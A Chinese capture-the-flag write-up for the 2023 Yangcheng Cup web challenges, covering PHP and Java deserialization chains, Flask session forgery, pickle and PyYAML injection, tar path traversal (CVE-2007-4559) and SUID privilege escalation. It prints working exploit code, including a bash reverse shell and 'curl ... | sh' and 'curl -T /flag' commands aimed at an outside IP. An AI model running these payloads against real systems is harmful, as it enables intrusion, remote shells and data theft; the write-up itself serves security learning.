当前位置: 首页 > news >正文

2023年“羊城杯”网络安全大赛 Web方向题解wp 全

团队名称:ZhangSan

序号:11


不得不说今年本科组打的是真激烈,初出茅庐的小后生没见过这场面QAQ~
在这里插入图片描述

D0n’t pl4y g4m3!!!

简单记录一下,实际做题踩坑很多,尝试很多。

先扫了个目录,扫出start.sh

image-20230902121229970

内容如下,这个其实和hint一样的,hint就不放了,尊嘟假嘟解密。

image-20230902121243034

开始做题,题目让我访问路由/p0p.php,但是直接跳转到了https://passer-by.com/pacman/。应该是php源码里面有302跳转。

image-20230903001506846

还是太年轻了,一开始以为是前端游戏题,一直在看小游戏的源码。。。。。。

只能说题目名字诚不欺我。那排除了前端小游戏,我们就得想办法拿到p0p.php的源码了。

搜索关键字:php -S 0.0.0.0:80内置服务器任意文件读取源码很容易就搜索到这篇文章:漏洞复现php 5.5.45 - 8.0.2任意文件读取 | CTF导航 (ctfiot.com)

跟着做就好啦,记得burp->左上角重发器->关掉Content-Length自动更新。

PHP内置服务器任意文件读取:版本: 5.5.45 - 8.0.2用法:
GET /p0p.php HTTP/1.1\r\n
Host: 192.168.188.3:8080\r\n
\r\n
\r\n
GET / HTTP/1.1\r\n
\r\n

image-20230902121124367

源码如下:

<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");class Pro{private $exp;private $rce2;public function __get($name){return $this->$rce2=$this->exp[$rce2];}public  function __toString(){call_user_func('system', "cat /flag");}
}class Yang
{public function __call($name, $ary){if ($this->key === true || $this->finish1->name) {if ($this->finish->finish) {call_user_func($this->now[$name], $ary[0]);}}}public function ycb(){$this->now = 0;return $this->finish->finish;}public function __wakeup(){$this->key = True;}
}
class Cheng
{private $finish;public $name;public function __get($value){return $this->$value = $this->name[$value];}
}
class Bei
{public function __destruct(){if ($this->CTF->ycb()) {$this->fine->YCB1($this->rce, $this->rce1);}}public function __wakeup(){$this->key = false;}
}function prohib($a){$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";return preg_replace($filter,'',$a);
}$a = $_POST["CTF"];
if (isset($a)){unserialize(prohib($a));
}
?>

接下来就是简单的反序列化了。(虽然说题目有点坑)

有了hint知道flag在哪,链子就不会错了,链子:Bei::__destruct()->Yang::__call

给个EXP:

<?php
class Pro{private $exp;private $rce2;public function __get($name){return $this->$rce2=$this->exp[$rce2];}public  function __toString(){//echo `tac /tmp/catcatf1ag.txt`call_user_func('system', "cat /flag");       //   /tmp/catcatf1ag.txt}
}class Yang
{public function __call($name, $ary)  //2{if ($this->key === true || $this->finish1->name) {if ($this->finish->finish) {call_user_func($this->now[$name], $ary[0]);}}}public function ycb(){$this->now = 0;return $this->finish->finish;}public function __wakeup(){$this->key = True;}
}
class Cheng
{private $finish;public $name;public function __get($value){return $this->$value = $this->name[$value];}
}
class Bei
{public function __destruct()//1{if ($this->CTF->ycb()) {$this->fine->YCB1($this->rce, $this->rce1);//2}}public function __wakeup(){$this->key = false;}
}
/*
function prohib($a){$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";return preg_replace($filter,'',$a);
}
*/$aa=new Bei();
$aa->CTF=new Yang();    //if
$aa->CTF->finish->finish=true;$aa->fine=new Yang();
$aa->fine->key=true;
$aa->rce='tac /tmp/catcatf1ag.txt';
$aa->rce1='tac /tmp/catcatf1ag.txt';$aa->fine->finish->finish=true;
$aa->fine->now=array('YCB1'=>'syssystemtem');//echo urlencode(serialize($aa));$b=serialize($aa);
echo $b;//unserialize($b);//O:3:"Bei":4:{s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}}s:4:"fine";O:4:"Yang":3:{s:3:"key";b:1;s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}s:3:"now";a:1:{s:4:"YCB1";s:6:"syssystemtem";}}s:3:"rce";s:23:"tac /tmp/catcatf1ag.txt";s:4:"rce1";s:23:"tac /tmp/catcatf1ag.txt";}function prohib($aa){$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";return preg_replace($filter,'',$aa);
}

双写绕过prohib(),改长度。(12->6)

s:12:"syssystemtem";     //原始,system双写了
s:6:"syssystemtem";      //12->6
s:6:"system";            //经过prohib(),只过滤替换一次,所以可以双写绕过

记得开启Content-Length自动更新,要不然寄。

image-20230902121133885

Serpent

开题。

image-20230903010807375

题目描述叫我们注意www.zip。访问下载,得到源码。

from flask import Flask, session
from secret import secret@app.route('/verification')
def verification():try:attribute = session.get('Attribute')if not isinstance(attribute, dict):raise Exceptionexcept Exception:return 'Hacker!!!'if attribute.get('name') == 'admin':if attribute.get('admin') == 1:return secretelse:return "Don't play tricks on me"else:return "You are a perfect stranger to me"if __name__ == '__main__':app.run('0.0.0.0', port=80)

和session相关,我们的session是:

eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRTeXdUdThtNmtJIn19.ZPK0kQ.Lz2QvFZ9lCdDv2y-n9RkT7CHkEU

以为是JWT,解密一下看payload就知道不是。

image-20230903011130286

注意到这里有secret_key,猜测是session伪造。

image-20230903011236027

破解session:

python flask_session_cookie_manager3.py decode -s "GWHTSywTu8m6kI" -c "eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRTeXdUdThtNmtJIn19.ZPK0kQ.Lz2QvFZ9lCdDv2y-n9RkT7CHkEU"

伪造session:(伪造要求在源码里面)

python flask_session_cookie_manager3.py encode -s "GWHTSywTu8m6kI" -t "{'Attribute': {'admin': 1, 'name': 'admin', 'secret_key': 'GWHTSywTu8m6kI'}}"

得到伪造的session

eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUd1gxWW1ob3lnZyJ9fQ.ZPKyrQ.zn60ktc6EtGIByZ0wc3XlDIwvxs

image-20230902123005394

返回Hello admin, welcome to /ppppppppppick1e

image-20230902120944015

访问/ppppppppppick1e路由,返回Hint: Source in /src0de

image-20230902122335512

访问路由/src0de,返回源码,好套。

@app.route('/src0de')
def src0de():f = open(__file__, 'r')rsp = f.read()f.close()return rsp[rsp.index("@app.route('/src0de')"):]@app.route('/ppppppppppick1e')
def ppppppppppick1e():try:username = "admin"rsp = make_response("Hello, %s " % username)rsp.headers['hint'] = "Source in /src0de"pick1e = request.cookies.get('pick1e')if pick1e is not None:pick1e = base64.b64decode(pick1e)else:return rspif check(pick1e):pick1e = pickle.loads(pick1e)return "Go for it!!!"else:return "No Way!!!"except Exception as e:error_message = str(e)return error_messagereturn rspclass GWHT():def __init__(self):passif __name__ == '__main__':app.run('0.0.0.0', port=80)

经过测试,过滤了__ruduce__

那就换一个没有__ruduce__的payload:pickle反序列化的利用技巧总结 - 知乎 (zhihu.com)

import base64
data=import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/120.46.41.173/9023 0>&1"'
o.'''
print(base64.b64encode(data))

POC:

pick1e=KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEyMC40Ni40MS4xNzMvOTAyMyAwPiYxIicKby4=

image-20230902144749491

image-20230902134305535

直接getflag行不通,还得提权,好好好。

image-20230902134350592

尝试find提权,无果。https://www.cnblogs.com/aaak/p/15718561.html

#查看find命令位置
which find#查看 find 命令权限
ls -l  /usr/bin/find   #  这是find 默认位置-rwxr-xr-x 1 root root 320160 Feb 18  2020 /usr/bin/find
# 有s表示可以提权,这里没有哦,所以行不通。。。。。。

image-20230902134718846

算了,按流程走一遍提权。

/usr/bin目录ls -alsh,发现python3.8有s权限位(suid)。

...
...
...
...
5.3M -rwsr-xr-x 1 root root   5.3M May 26 14:05 python3.8
...
...
...
...

cap_setuid提权:Linux提权之:利用capabilities提权 - f_carey - 博客园 (cnblogs.com)

相当于又开启了一个shell,但是权限是python的。

python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'

然后就能顺畅的getflag了。

image-20230902141251338

image-20230902140835111

其实su也有s权限位,一开始想用su提权,su是可以切换用户的,像kali中的sudo su或者su root切换root用户,但是需要root用户密码,不能用于suid提权。

好文不谢:https://gtfobins.github.io/

ArkNights

非预期直接拿下一血了。

image-20230902162217866

非预期是/read路由读取环境变量。

image-20230902162346415

放个源码赛后复现预期,先去写别的了:

# 导入所需模块
import uuid  # 用于生成唯一标识符
from flask import *  # 导入 Flask 框架的相关模块
from werkzeug.utils import *  # 导入 Werkzeug 工具类的相关模块# 创建 Flask 应用实例
app = Flask(__name__)# 设置应用的 SECRET_KEY
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "*") + "Boogipopisweak"# 定义根路径的路由和视图函数
@app.route('/')
def index():# 获取名为 "name" 的查询参数,如果不存在则使用默认值 "name"name = request.args.get("name", "name")# 获取名为 "m1sery" 的查询参数,如果不存在则使用默认值 "Doctor.Boogipop",并将其放入列表中m1sery = [request.args.get("m1sery", "Doctor.Boogipop")]# 检查会话中的 "name" 是否等于 "Dr.Boog1pop"if session.get("name") == "Dr.Boog1pop":# 对 "name" 执行黑名单检查,使用正则表达式查找潜在的恶意字符blacklist = re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)if blacklist:return "bad hacker no way"  # 如果检测到黑名单字符,返回拒绝访问消息# 执行一段动态生成的代码,此处使用了 f-stringexec(f'for [{name}] in [{m1sery}]:print("strange?")')else:session['name'] = "Doctor"  # 如果会话中的 "name" 不是 "Dr.Boog1pop",将其设置为 "Doctor"# 渲染名为 "index.html" 的模板,并传递会话中的 "name" 到模板中return render_template("index.html", name=session.get("name"))# 定义 "/read" 路由,用于读取文件
@app.route('/read')
def read():# 获取名为 "file" 的查询参数,表示要读取的文件名file = request.args.get('file')# 对文件名进行黑名单检查,使用正则表达式查找潜在的恶意字符fileblacklist = re.findall("/flag|fl|ag/", file, re.IGNORECASE)if fileblacklist:return "bad hacker!"  # 如果检测到黑名单字符,返回拒绝访问消息# 获取名为 "start" 和 "end" 的查询参数,表示文件读取的起始位置和结束位置start = request.args.get("start", "0")end = request.args.get("end", "0")if start == "0" and end == "0":# 如果起始位置和结束位置均为 0,则读取整个文件内容,并以二进制形式返回return open(file, "rb").read()else:# 否则,将起始位置和结束位置转换为整数,并按照指定位置读取文件内容start, end = int(start), int(end)f = open(file, "rb")f.seek(start)data = f.read(end)return data  # 返回读取到的数据# 定义动态路由,用于渲染页面,动态路由的路径参数是 "path"
@app.route("/<path:path>")
def render_page(path):# 检查是否存在名为 "templates/" + path 的文件if not os.path.exists("templates/" + path):return "not found", 404  # 如果文件不存在,返回 404 错误# 渲染指定路径的模板return render_template(path)# 如果该脚本直接运行,启动 Flask 应用
if __name__ == '__main__':app.run(debug=False,  # 关闭调试模式host="0.0.0.0"  # 监听所有可用的网络接口)print(app.config['SECRET_KEY'])  # 打印应用的 SECRET_KEY

ezyaml

源码直接给了。

# 创建 Flask 应用实例
app = Flask(__name__)# 定义 WAF(Web Application Firewall)函数,用于检查输入是否包含恶意关键词
def waf(s):flag = Trueblacklist = ['bytes', 'eval', 'map', 'frozenset', 'popen', 'tuple', 'exec', '\\', 'object', 'listitems', 'subprocess', 'object', 'apply']for no in blacklist:if no.lower() in str(s).lower():flag = Falseprint(no)breakreturn flag# 定义提取文件的函数
def extractFile(filepath, type):extractdir = filepath.split('.')[0]if not os.path.exists(extractdir):os.makedirs(extractdir)if type == 'tar':tf = tarfile.TarFile(filepath)tf.extractall(extractdir)return tf.getnames()# 定义根路由和视图函数,用于显示主页
@app.route('/', methods=['GET'])
def main():fn = 'uploads/' + md5().hexdigest()if not os.path.exists(fn):os.makedirs(fn)return render_template('index.html')# 定义上传文件的路由和视图函数
@app.route('/upload', methods=['GET', 'POST'])
def upload():if request.method == 'GET':return redirect('/')if request.method == 'POST':upFile = request.files['file']print(upFile)# 检查文件名是否包含恶意字符,如 ".." 或 "/"if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:return "<script>alert('Hacker!');window.location.href='/upload'</script>"savePath = f"uploads/{upFile.filename}"print(savePath)upFile.save(savePath)# 检查上传的文件是否为 tar 文件,如果是,则解压文件并获取其中的文件列表if tarfile.is_tarfile(savePath):zipDatas = extractFile(savePath, 'tar')return render_template('result.html', path=savePath, files=zipDatas)else:return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"# 定义查看源代码的路由和视图函数
@app.route('/src', methods=['GET'])
def src():if request.args:username = request.args.get('username')with open(f'config/{username}.yaml', 'rb') as f:Config = yaml.load(f.read())return render_template('admin.html', username="admin", message="success")else:return render_template('index.html')# 启动 Flask 应用,监听在 0.0.0.0:8000
if __name__ == '__main__':app.run(host='0.0.0.0', port=8000)

思路很明显,/upload路由想办法上传yaml文件到/config//src路由想办法解析yaml文件。

我们分为上传路径问题和解析问题。

首先是上传路径问题,过滤了../,尝试使用全角字符尝试失败。

﹒﹒/﹒﹒/﹒﹒/﹒﹒/﹒﹒/etc/passwd

image-20230902172400220

直接上传文件失败,那就从压缩包入手。源码里面tar不查里面文件的文件名。

# 检查上传的文件是否为 tar 文件,如果是,则解压文件并获取其中的文件列表if tarfile.is_tarfile(savePath):zipDatas = extractFile(savePath, 'tar')return render_template('result.html', path=savePath, files=zipDatas)

但是遇到了一个问题,windows和linux都不支持文件名包含/,010也改不了tar,无法路径穿越。

搜索关键词:python tar压缩包 目录遍历 任意文件读取

可以搜到:CVE-2007-4559,用来绕过路径问题。虽然是07年的CVE,但是22年又翻出来了。

前面三篇可以对其大概有所了解,利用看后面三篇。

一个 15 年未修补 Python 漏洞让攻击者可以执行代码:35 万个开源代码存储库岌岌可危-腾讯云开发者社区-腾讯云 (tencent.com)

被忽视15年的CVE-2007-4559 Python漏洞 导致35万项目陷入代码执行风险|python|cve|存储库_网易订阅 (163.com)

CVE-2007-4559原理及复现 - 边窗/SideWindow (peirs.net)

CVE-2007-4559漏洞学习 – l1_Tuer’s blog (l1tuer.space)

【WP】NSSCTF Round#6 web3-check(Revenge)复现 - br0sy’s blog

NSSCTF Round#6-web (pankas.top)

tarfile文件覆盖漏洞(CVE-2007-4559)Python 中 tarfile 模块中的extract、extractFile和extractall 函数中的目录遍历漏洞 允许 用户协助的远程攻击者通过 TAR 存档文件名中的..和/遍历目录 和 写入/覆盖任意文件

image-20230903022731882

拿第四篇的脚本稍微改一下就能用了:

import re     # 导入正则表达式模块
import time   # 导入时间模块
import requests as req   # 导入requests库,用于发送HTTP请求
import tarfile   # 导入tarfile库,用于创建和解压tar文件url = 'http://8000.endpoint-7d9b62edec9940c39d61c504575a64e0.m.ins.cloud.dasctf.com:81/'   # 设置目标URL
filename = r"1.yaml"   # 设置要上传的文件名def changeFileName(filename):filename.name='../../../../../app/config/jay.yaml'   # 修改文件名return filenamewith tarfile.open("jay.tar", "w") as tar:   # 创建名为jay.tar的tar文件tar.add(filename, filter=changeFileName)   # 将指定的文件添加到tar文件中,并通过filter参数修改文件名def upload(rawurl):url = rawurl + "upload"   # 拼接完整的上传URLresponse = req.post(url=url, files={"file": open("exp.tar", 'rb')})   # 发送POST请求,上传exp.tar文件print(response.text)   # 打印响应内容def getFlag(rawurl):url = rawurl + 'src?username=jay'   # 拼接完整的解析URL,解析执行/config/jay.yaml文件response = req.get(url)   # 发送GET请求,下载文件print(response.content)   # 打印响应内容if __name__ == "__main__":upload(url)   # 调用upload函数,上传文件time.sleep(3)   # 等待3秒#getFlag(url)   # 调用getFlag函数,解析执行/config/jay.yaml文件

运行后yaml文件就被成功写入/config/目录了。(这里试验时文件内容是111)

image-20230903023400445

访问/src?username=jay不报错500,就是写入成功了。

image-20230903023448541


接下来就是解析问题了,源码中暂时没看见过滤yaml文件内容的语句。但是注意到waf函数一直没有使用。感觉这个waf函数是检查我yaml文件的。尝试了一下还真是,估计出题人没有完全把源码给我们。

def waf(s):flag = Trueblacklist = ['bytes', 'eval', 'map', 'frozenset', 'popen', 'tuple', 'exec', '\\', 'object', 'listitems', 'subprocess', 'object', 'apply']for no in blacklist:if no.lower() in str(s).lower():flag = Falseprint(no)breakreturn flag

绕过方法:SecMap - 反序列化(PyYAML) - Tr0y’s Blog

tar包里面1.yaml的内容:(加载uploads/17.py)

!!python/module:uploads.17.py

所以在访问/src?username=jay前,我们还要上传一个.py文件。

image-20230903023908612

内容是:(利用平台弹shell,用curl就行了)

import os
os.system('curl https://your-shell.com/120.46.41.173:9023 |sh')

访问/src?username=jay,自动弹shell。

image-20230903024210088

Ez_java

考点:java反序列化,动态代理,模板注入,http信道带出数据。

链子如下:BadAttributeValueExpException::readObject -> Map::toString -> HtmlInvocationHandler::invoke -> HtmlMap::get -> HtmlUploadUtil::uploadfile


先分析一下web路由的作用:(IndexController)

/:输出"Welcome to YCB"

/templating:渲染模板

/getflag:传入data,base64解码+反序列化

image-20230903050702439

然后是HtmlInvocationHandler类中的invoke方法。这个方法可以就行动态代理,代理的类方法会被拦截并且执行HtmlInvocationHandlerobj属性的get方法。

image-20230903051129342

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {Object result = this.obj.get(method.getName());return result;}

HTMLmap类的get方法,可以上传文件,是利用点。

image-20230903051211121

public Object get(Object key) {try {Object obj = HtmlUploadUtil.uploadfile(this.filename, this.content);return obj;} catch (Exception var4) {throw new RuntimeException(var4);}}

然后看HtmlUploadUtil()类:

public static boolean uploadfile(String filename, String content) {if (filename != null && !filename.endsWith(".ftl")) {return false;} else {String realPath = "/app/templates/" + filename;if (!realPath.contains("../") && !realPath.contains("..\\")) {try {BufferedWriter writer = new BufferedWriter(new FileWriter(realPath));writer.write(content);writer.close();return true;} catch (IOException var4) {System.err.println("Error uploading file: " + var4.getMessage());return false;}} else {return false;}}}

上传的文件必须是.ftl后缀结尾的文件,ftl是java的一个模板类。前面说了HTMLmap类的get方法,可以上传文件,是利用点。那就有可能上传ftl文件覆盖原文件,使模板渲染恶意文件中的恶意代码执行命令。

这里直接执行命令没有回显。无文件写入权限也不能反弹shell,最后选择用http信道带出文件,猜测flag在/flag

curl -T /flag http://120.46.41.173:9023

image-20230903051846349

POC:

package com.jiangshiqi;/*** @ClassName EXP* @Author 86159* @Date 2023/9/2* @Version 1.0*/import com.ycbjava.Bean.HtmlBean;
import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.HtmlMap;
import com.ycbjava.Utils.NewObjectInputStream;import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;public class EXP {public static void main(String[] args) throws Exception {HtmlMap htmlMap = new HtmlMap();htmlMap.filename = "index.ftl";htmlMap.content = "<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><#assign ac=springMacroRequestContext.webApplicationContext><#assign fc=ac.getBean('freeMarkerConfiguration')><#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()><#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"curl -T /flag http://120.46.41.173:9023\")}</head><body></body></html>";Class clazz = Class.forName("com.ycbjava.Utils.HtmlInvocationHandler");Constructor firstConstructor = clazz.getDeclaredConstructors()[0];firstConstructor.setAccessible(true);Map root012map = (Map) Proxy.newProxyInstance(EXP.class.getClassLoader(),new Class[]{Map.class},(InvocationHandler) firstConstructor.newInstance(htmlMap));InvocationHandler htmlInvocationHandler = (InvocationHandler)firstConstructor.newInstance(root012map);BadAttributeValueExpException exception = newBadAttributeValueExpException(null);Field valfield = exception.getClass().getDeclaredField("val");valfield.setAccessible(true);valfield.set(exception, root012map);ByteArrayOutputStream byteArrayOutputStream = newByteArrayOutputStream();ObjectOutputStream objectOutputStream = newObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(exception);byteArrayOutputStream.flush();byte[] bytes = byteArrayOutputStream.toByteArray();String encode = Base64.getEncoder().encodeToString(bytes);System.out.println(encode);NewObjectInputStream objectInputStream = new NewObjectInputStream(newByteArrayInputStream(byteArrayOutputStream.toByteArray()));objectInputStream.readObject();}
}

生成序列化字符串:

image-20230903052226194

url编码后上传

/getflag?data=xxxxx

image-20230903052308629

/templating?name=Jay17

vps的9023端口接到监听

image-20230903052411555

EZ_web【没出,之后补】

扫出目录upload.php

image-20230902150609688

有三个功能,上传文件、执行命令、列出目录。

image-20230903053117750

flag就在/flag.txt

image-20230903053147758

相关文章:

2023年“羊城杯”网络安全大赛 Web方向题解wp 全

团队名称&#xff1a;ZhangSan 序号&#xff1a;11 不得不说今年本科组打的是真激烈&#xff0c;初出茅庐的小后生没见过这场面QAQ~ D0n’t pl4y g4m3!!! 简单记录一下&#xff0c;实际做题踩坑很多&#xff0c;尝试很多。 先扫了个目录&#xff0c;扫出start.sh 内容如下…...

Matlab——二维绘图(最为详细,附上相关实例)

为了帮助各位同学备战数学建模和学习Matlab的使用&#xff0c;今天我们来聊一聊 Matlab 中的绘图技巧吧&#xff01;对于 Matlab 这样的科学计算软件来说&#xff0c;绘图是非常重要的一项功能。在数据处理和分析时&#xff0c;良好的绘图技巧能够更直观地呈现数据&#xff0c;…...

JVM学习(四)--内存问题分析思路

linux获取jvm当前dump文件 命令行为&#xff1a;jmap -dump:file[文件名] [pid] 然后等待生成dump文件&#xff0c;生成的dump文件就在当前目录下。如下图&#xff1a; 然后就可以下载到本地&#xff0c;用本地jdk里自带的jvisualvm来解析文件。 在用本地的jvisualvm解析之前…...

【MySQL】七种SQL优化方式 你知道几条

1.插入数据 1.1insert 如果我们需要一次性往数据库表中插入多条记录&#xff0c;可以从以下三个方面进行优化。 insert into tb_test values(1,tom); insert into tb_test values(2,cat); insert into tb_test values(3,jerry); 1). 优化方案一 批量插入数据 Insert into t…...

MySQL8.xx 解决1251 client does not support ..解决方案

MySQL8.0.30一主两从复制与配置(一)_蜗牛杨哥的博客-CSDN博客 MySQL8.xx一主两从复制安装与配置 MySQL8.XX随未生成随机密码解决方案 一、客户端连接mysql&#xff0c;问题&#xff1a;1251 client does not support ... 二、解决 1.查看用户信息 备注&#xff1a;host为 % …...

SpringBoot常用的简化开发注解

一、引言 在Spring Boot框架中&#xff0c;有许多常用的注解可用于开发项目。下面是其中一些常见的注解及其功能和属性的说明&#xff1a; 1、RestController RestController 是 Spring Framework 中的一个注解&#xff0c;用于标识一个类是 RESTful 服务的控制器。它结合了…...

python相关

1、更改用户名之后&#xff0c;C盘下的文件夹下名称没有改&#xff1f;这样设置 https://blog.csdn.net/qq_56088882/article/details/127470766 2、安装python和pycharm 链接 3、vscod中import requests出错&#xff1a;亲测有效&#xff1a; 链接...

C语言的类型转换

C语言的类型转换很重要&#xff0c;经常出现&#xff0c;但是往往不被人注意&#xff0c;而在汇编代码当中就暴露无遗了。 如下列代码&#xff1a; char ch; while ((ch getchar()) ! #) putchar(ch); 反汇编后&#xff1a; .text:00401006 mov…...

从零构建深度学习推理框架-11 Resnet

op和layer结构 在runtime_ir.cpp中&#xff0c;我们上一节只构建了input和output&#xff0c;对于中间layer的具体实现一直没有完成&#xff1a; for (const auto& kOperator : this->operators_) {if (kOperator->type "pnnx.Input") {this->input_o…...

多线程练习-顺序打印

wait和notify的使用推荐看通过wait和notify来协调线程执行顺序 题目 有三个线程&#xff0c;线程名称分别为&#xff1a;a&#xff0c;b&#xff0c;c。 每个线程打印自己的名称。 需要让他们同时启动&#xff0c;并按 c&#xff0c;b&#xff0c;a的顺序打印 代码及其注释…...

一文读懂MQTT各参数定义(非ChatGPT生成版)

文章目录 前言主流使用MQTT协议的云平台连接参数连接参数详解1.服务器地址&#xff08;Server Address&#xff09;2.端口&#xff08;Port&#xff09;3.客户端标识符&#xff08;Client Identifier&#xff09;4.用户名和密码&#xff08;Username and Password&#xff09;5…...

redis-lua脚本-无参-比较2个数值

以下是演变的过程&#xff1a; eval " return haha " 0 eval " local res haha; return res; " 0 eval " local value1 redis.call(get,value1); local value2 redis.call(get,value2);return value1; " 0 eval " return 1 < 2;…...

Lesson5-1:OpenCV视频操作---视频读写

学习目标 掌握读取视频文件&#xff0c;显示视频&#xff0c;保存视频文件的方法 1 从文件中读取视频并播放 在OpenCV中我们要获取一个视频&#xff0c;需要创建一个VideoCapture对象&#xff0c;指定你要读取的视频文件&#xff1a; 创建读取视频的对象 cap cv.VideoCapt…...

Lesson5-2:OpenCV视频操作---视频追踪

学习目标 理解meanshift的原理知道camshift算法能够使用meanshift和Camshift进行目标追踪 1.meanshift 1.1原理 m e a n s h i f t meanshift meanshift算法的原理很简单。假设你有一堆点集&#xff0c;还有一个小的窗口&#xff0c;这个窗口可能是圆形的&#xff0c;现在你可…...

1778_树莓派系统安装

全部学习汇总&#xff1a; GitHub - GreyZhang/little_bits_of_raspberry_pi: my hacking trip about raspberry pi. 一段视频学习教程的总结&#xff0c;对我来说基本上用处不大。因为我自己的树莓派简简单单安装完就开机成功了&#xff0c;而且实现了很多视频中介绍的功能。 …...

关闭jenkins插件提醒信息

jenkins提醒信息和安全警告可以帮助我们了解插件或者jenkins的更新情况&#xff0c;但是有些插件是已经不维护了&#xff0c;提醒却一直存在&#xff0c;看着糟心&#xff0c;就像下面的提示 1、关闭插件提醒 找到如下位置&#xff1a;系统管理-系统配置-管理监控配置 打开管…...

JixiPix Artista Impresso Pro for mac(油画滤镜效果软件)

JixiPix Artista Impresso pro Mac是一款专业的图像编辑软件&#xff0c;专为Mac用户设计。它提供了各种高质量的图像编辑工具&#xff0c;可以帮助您创建令人惊叹的图像。该软件具有直观的用户界面&#xff0c;使您可以轻松地浏览和使用各种工具。 它还支持多种文件格式&…...

机器学习之 Jupyter Notebook 使用

&#x1f388; 作者&#xff1a;Linux猿 &#x1f388; 简介&#xff1a;CSDN博客专家&#x1f3c6;&#xff0c;华为云享专家&#x1f3c6;&#xff0c;Linux、C/C、云计算、物联网、面试、刷题、算法尽管咨询我&#xff0c;关注我&#xff0c;有问题私聊&#xff01; &…...

Unity引擎修改模型顶点色的工具

大家好&#xff0c;我是阿赵。   之前分享过怎样通过MaxScript在3DsMax里面修改模型的顶点色。不过由于很多时候顶点色的编辑需要根据在游戏引擎里面的实际情况和shader的情况来动态调整&#xff0c;所以如果能在引擎里面直接修改模型的顶点色&#xff0c;将会方便很多。于是…...

linux安装minio以及springboot整合使用

文章目录 1.linux安装minio2.springboot整合minio使用 1.linux安装minio 1.新建文件夹 mkdir /home/minio # 数据文件夹 mkdir /home/minio/data # 创建日志文件夹 mkdir /home/minio/log2.进入文件夹 cd /home/minio3.下载minio&#xff0c;链接可从官网获取 wget https://…...

javaee 事务 事务的特性 事务的并发问题 事务的隔离级别

什么是事务(Transaction) 是并发控制的单元&#xff0c;是用户定义的一个操作序列。这些操作要么都做&#xff0c;要么都不做&#xff0c;是一个不可分割的工作单位。通过事务&#xff0c;sql 能将逻辑相关的一组操作绑定在一起&#xff0c;以便服务器 保持数据的完整性。事务…...

Matlab怎么引入外部的latex包?Matlab怎么使用特殊字符?

Matlab怎么引入外部的latex包&#xff1f;Matlab怎么使用特殊字符&#xff1f; Matlab怎么使用特殊字符&#xff1f;一种是使用latex方式&#xff0c;Matlab支持基本的Latex字符【这里】&#xff0c;但一些字符需要依赖外部的包&#xff0c;例如“&#x1d53c;”&#xff0c;需…...

day-07 I/O复用(select)

一.I/O复用 &#xff08;一&#xff09;基于I/O复用的服务器端 1.多进程服务器 每次服务都需要创建一个进程&#xff0c;需要大量的运算和内存空间 2.复用 只需创建一个进程。 3.复用技术在服务器端的应用 &#xff08;二&#xff09;select函数实现服务器端 &#xff08;…...

Glide的使用及源码分析

前言 依赖 implementation com.github.bumptech.glide:glide:4.16.0 github: GitHub - bumptech/glide: An image loading and caching library for Android focused on smooth scrolling 基本使用 //加载url Glide.with(this) .load(url) .placeholder(R.drawable.placehol…...

外贸爬虫系统

全球智能搜索 全球智能搜索 支持全球所有国家搜索引擎&#xff0c;及社交平台&#xff0c;精准定位优质的外贸客户&#xff0c;免翻墙 全球任意国家地区实时采集 搜索引擎全网邮箱电话采集 社交平台一键查看采集&#xff08;Facebook,Twitter,Linkedin等&#xff09; 职位…...

CentOS 8 安装 Code Igniter 4

在安装好LNMP运行环境基础上&#xff0c;将codeigniter4文件夹移动到/var/nginx/html根目录下&#xff0c;浏览器地址栏输入IP/codeigniter/pulbic 一直提示&#xff1a; Cache unable to write to "/var/nginx/html/codeigniter/writable/cache/". 找了好久&…...

.net framework 提示安装了 但是删除面板看不到

如果你在计算机上安装了.NET Framework&#xff0c;但在“控制面板”中找不到.NET Framework的相关条目&#xff0c;可能是因为.NET Framework的某些组件或特定版本未在“程序和功能”&#xff08;或旧版本的Windows中称为“程序和功能”&#xff09;列表中列出。这可能是正常情…...

flask-smorest 库

flask-smorest 简介 flask-smorest: 基于Flask/Marshmallow的REST API框架 flask-smorest 是一个用于创建于数据库无关的REST API的架库。 它使用Flask作为Web服务器&#xff0c;并使用marsmallow对数据进行序列化和反序列化。(类似于drf) 快速入门 flask-smorest对代码应…...

android WindowManager的简单使用

<?xml version"1.0" encoding"utf-8"?> <manifest xmlns:android"http://schemas.android.com/apk/res/android"xmlns:tools"http://schemas.android.com/tools"><uses-permission android:name"android.permis…...

Spark_Spark比mapreduce快的原因

